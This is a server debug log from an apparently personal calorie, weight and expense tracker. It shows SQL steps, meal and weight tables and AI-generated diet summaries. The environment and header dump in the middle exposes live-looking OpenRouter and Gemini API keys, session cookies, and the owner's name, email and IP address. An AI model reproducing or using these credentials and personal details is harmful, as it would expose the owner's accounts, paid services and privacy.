    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-17T10:10:21.028Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-17T10:10:21.028Z server-connect:app Executing action step setvalue
2025-12-17T10:10:21.028Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-17T10:10:21.028Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 417 | Walnuts | 98 | 2 | 2 | 10 | 2 full walnuts (approx 15g edible portion) |\n' +
  '| 418 | Pre-workout supplement | 5 | 1 | 1 | 0 | 1 scoop (6.5g) |\n' +
  '| 419 | Whey Protein | 99 | 20 | 2 | 1 | 1 scoop (26g) |\n' +
  '| 420 | Banana | 89 | 1 | 23 | 0 | 1 (approx 100g edible portion, medium size) |\n' +
  '| 421 | Appe (Paniyaram) homemade | 100 | 4 | 20 | 2 | 2 pieces (approx 70-80g) |\n' +
  '| 422 | Milk Coffee | 75 | 5 | 7 | 4 | 1 small cup (approx 150ml) |\n' +
  '| 423 | Roti | 300 | 9 | 63 | 3 | 3 |\n' +
  '| 424 | Aloo Patta Gobi Sabzi | 150 | 4 | 18 | 8 | 1 serving (approx 150g) |\n' +
  '| 425 | Boondi Raita | 120 | 6 | 10 | 6 | 1 katori (approx 150g) |\n' +
  '| 426 | Water | 0 | 0 | 0 | 0 | 1.5 litres |\n' +
  '| 427 | Papaya | 100 | 2 | 25 | 1 | 4 slices |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-17T10:10:21.028Z server-connect:app Executing action step processWithGemini
2025-12-17T10:10:21.028Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-17T10:10:22.390Z server-connect:output health_summary: {
  summary: "Today's intake provided a decent foundation with the inclusion of protein from whey and dairy, along with carbohydrates for energy. The meal structure appears reasonably spread out, supporting recovery from your early morning workouts. However, there's an opportunity to enhance protein diversity and ensure adequate fiber intake throughout the day.",
  rating: 6,
  good_points: [
    'Inclusion of whey protein post-workout.',
    'Incorporation of fruits like banana and papaya.',
    'Adequate hydration throughout the day.',
    'Reasonable meal distribution.'
  ],
  bad_points: [
    'Limited variety in protein sources.',
    'Potential for higher carbohydrate content in the main meal.',
    'Fiber intake could be increased.'
  ],
  suggestions: [
    'Incorporate a lean protein source with your main meal, such as chicken or lentils.',
    'Add more vegetables to your sabzi or include a side salad for increased fiber.',
    'Consider adding a source of healthy fats beyond walnuts, like avocado or seeds, to other meals.',
    'Ensure consistent protein intake across all meals.'
  ],
  predicted_weight_trend: 'steady loss',
  predicted_weight: 70
}
2025-12-17T10:10:22.390Z server-connect:app Executing action step condition
2025-12-17T10:10:22.390Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-17T10:10:22.391Z server-connect:app Executing action step delete
2025-12-17T10:10:22.391Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-17T10:10:22.393Z server-connect:output delete: { affected: 1 }
2025-12-17T10:10:22.393Z server-connect:app Executing action step insert
2025-12-17T10:10:22.393Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-17T10:10:22.395Z server-connect:output insert: { affected: 1, identity: 29 }
2025-12-17T10:10:22.395Z server-connect:output condition: undefined
2025-12-17T10:10:22.628Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T10:10:22.628Z server-connect:app Executing action step identify
2025-12-17T10:10:22.628Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:22.628Z server-connect:output identity: 1
2025-12-17T10:10:22.629Z server-connect:app Executing action step restrict
2025-12-17T10:10:22.629Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:22.629Z server-connect:output restrict: undefined
2025-12-17T10:10:22.629Z server-connect:app Executing action step single
2025-12-17T10:10:22.629Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T10:10:22.630Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake provided a decent foundation with the inclusion of protein from whey and dairy, along with carbohydrates for energy. The meal structure appears reasonably spread out, supporting recovery from your early morning workouts. However, there's an opportunity to enhance protein diversity and ensure adequate fiber intake throughout the day.",
    bad_points: [
      'Limited variety in protein sources.',
      'Potential for higher carbohydrate content in the main meal.',
      'Fiber intake could be increased.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout.',
      'Incorporation of fruits like banana and papaya.',
      'Adequate hydration throughout the day.',
      'Reasonable meal distribution.'
    ],
    suggestions: [
      'Incorporate a lean protein source with your main meal, such as chicken or lentils.',
      'Add more vegetables to your sabzi or include a side salad for increased fiber.',
      'Consider adding a source of healthy fats beyond walnuts, like avocado or seeds, to other meals.',
      'Ensure consistent protein intake across all meals.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T10:21:15.239Z server-connect:app Executing action step identify
2025-12-17T10:21:15.240Z server-connect:app options: { provider: 'security' }
2025-12-17T10:21:15.240Z server-connect:output identity: 1
2025-12-17T10:21:17.839Z server-connect:app Executing action step identify
2025-12-17T10:21:17.839Z server-connect:app options: { provider: 'security' }
2025-12-17T10:21:17.839Z server-connect:output identity: 1
2025-12-17T10:29:15.234Z server-connect:app Executing action step identify
2025-12-17T10:29:15.234Z server-connect:app options: { provider: 'security' }
2025-12-17T10:29:15.234Z server-connect:output identity: 1
2025-12-17T10:29:16.906Z server-connect:app Executing action step identify
2025-12-17T10:29:16.906Z server-connect:app options: { provider: 'security' }
2025-12-17T10:29:16.906Z server-connect:output identity: 1
2025-12-17T10:40:54.409Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T10:40:54.409Z server-connect:app Executing action step identify
2025-12-17T10:40:54.409Z server-connect:app options: { provider: 'security' }
2025-12-17T10:40:54.409Z server-connect:output identity: 1
2025-12-17T10:40:54.409Z server-connect:app Executing action step restrict
2025-12-17T10:40:54.409Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:40:54.411Z server-connect:output restrict: undefined
2025-12-17T10:40:54.411Z server-connect:app Executing action step processWithGemini
2025-12-17T10:40:54.411Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-17T10:40:56.211Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '1 cup (approx 240ml)',
      calories_consumed: 60,
      total_calories: 60,
      protein: 8,
      carbs: 12,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, the protein content is beneficial.'
    }
  ],
  total_macros: {
    protein: { value: 8, unit: 'g' },
    carbs: { value: 12, unit: 'g' },
    fat: { value: 0, unit: 'g' }
  }
}
2025-12-17T10:41:01.445Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-17T10:41:01.445Z server-connect:app Executing action step identify
2025-12-17T10:41:01.445Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:01.446Z server-connect:output identity: 1
2025-12-17T10:41:01.446Z server-connect:app Executing action step restrict
2025-12-17T10:41:01.446Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:41:01.446Z server-connect:output restrict: undefined
2025-12-17T10:41:01.446Z server-connect:app Executing action step condition
2025-12-17T10:41:01.446Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-17T10:41:01.447Z server-connect:app Executing action step repeat
2025-12-17T10:41:01.447Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-17T10:41:01.447Z server-connect:app Executing action step insert
2025-12-17T10:41:01.447Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T10:41:01.449Z server-connect:output calories: { affected: 1, identity: 428 }
2025-12-17T10:41:01.449Z server-connect:output repeat: [ {} ]
2025-12-17T10:41:01.449Z server-connect:output condition: undefined
2025-12-17T10:41:01.771Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T10:41:01.771Z server-connect:app Executing action step identify
2025-12-17T10:41:01.772Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:01.772Z server-connect:output identity: 1
2025-12-17T10:41:01.772Z server-connect:app Executing action step restrict
2025-12-17T10:41:01.772Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T10:41:01.772Z server-connect:output restrict: undefined
2025-12-17T10:41:01.772Z server-connect:router Render template layouts/main
2025-12-17T10:41:01.773Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T10:41:01.997Z server-connect:app Executing action step identify
2025-12-17T10:41:01.997Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:01.997Z server-connect:output identity: 1
2025-12-17T10:41:02.418Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T10:41:02.423Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T10:41:02.424Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T10:41:02.425Z server-connect:app Executing action step identify
2025-12-17T10:41:02.425Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:02.425Z server-connect:output identity: 1
2025-12-17T10:41:02.425Z server-connect:app Executing action step restrict
2025-12-17T10:41:02.425Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:41:02.426Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T10:41:02.426Z server-connect:output restrict: undefined
2025-12-17T10:41:02.426Z server-connect:app Executing action step single
2025-12-17T10:41:02.426Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T10:41:02.429Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T10:41:02.430Z server-connect:app Executing action step identify
2025-12-17T10:41:02.430Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:02.431Z server-connect:output identity: 1
2025-12-17T10:41:02.431Z server-connect:app Executing action step restrict
2025-12-17T10:41:02.431Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:41:02.431Z server-connect:app Executing action step identify
2025-12-17T10:41:02.431Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:02.431Z server-connect:output identity: 1
2025-12-17T10:41:02.431Z server-connect:app Executing action step restrict
2025-12-17T10:41:02.431Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:41:02.432Z server-connect:app Executing action step identify
2025-12-17T10:41:02.432Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:02.432Z server-connect:output identity: 1
2025-12-17T10:41:02.432Z server-connect:app Executing action step restrict
2025-12-17T10:41:02.432Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:02.432Z server-connect:output restrict: undefined
2025-12-17T10:41:02.432Z server-connect:app Executing action step single
2025-12-17T10:41:02.432Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T10:41:02.435Z server-connect:output restrict: undefined
2025-12-17T10:41:02.435Z server-connect:app Executing action step select
2025-12-17T10:41:02.435Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T10:41:02.436Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake provided a decent foundation with the inclusion of protein from whey and dairy, along with carbohydrates for energy. The meal structure appears reasonably spread out, supporting recovery from your early morning workouts. However, there's an opportunity to enhance protein diversity and ensure adequate fiber intake throughout the day.",
    bad_points: [
      'Limited variety in protein sources.',
      'Potential for higher carbohydrate content in the main meal.',
      'Fiber intake could be increased.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout.',
      'Incorporation of fruits like banana and papaya.',
      'Adequate hydration throughout the day.',
      'Reasonable meal distribution.'
    ],
    suggestions: [
      'Incorporate a lean protein source with your main meal, such as chicken or lentils.',
      'Add more vegetables to your sabzi or include a side salad for increased fiber.',
      'Consider adding a source of healthy fats beyond walnuts, like avocado or seeds, to other meals.',
      'Ensure consistent protein intake across all meals.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T10:41:02.437Z server-connect:output restrict: undefined
2025-12-17T10:41:02.437Z server-connect:app Executing action step single
2025-12-17T10:41:02.437Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T10:41:02.440Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T10:41:02.440Z server-connect:app Executing action step select
2025-12-17T10:41:02.441Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T10:41:02.444Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
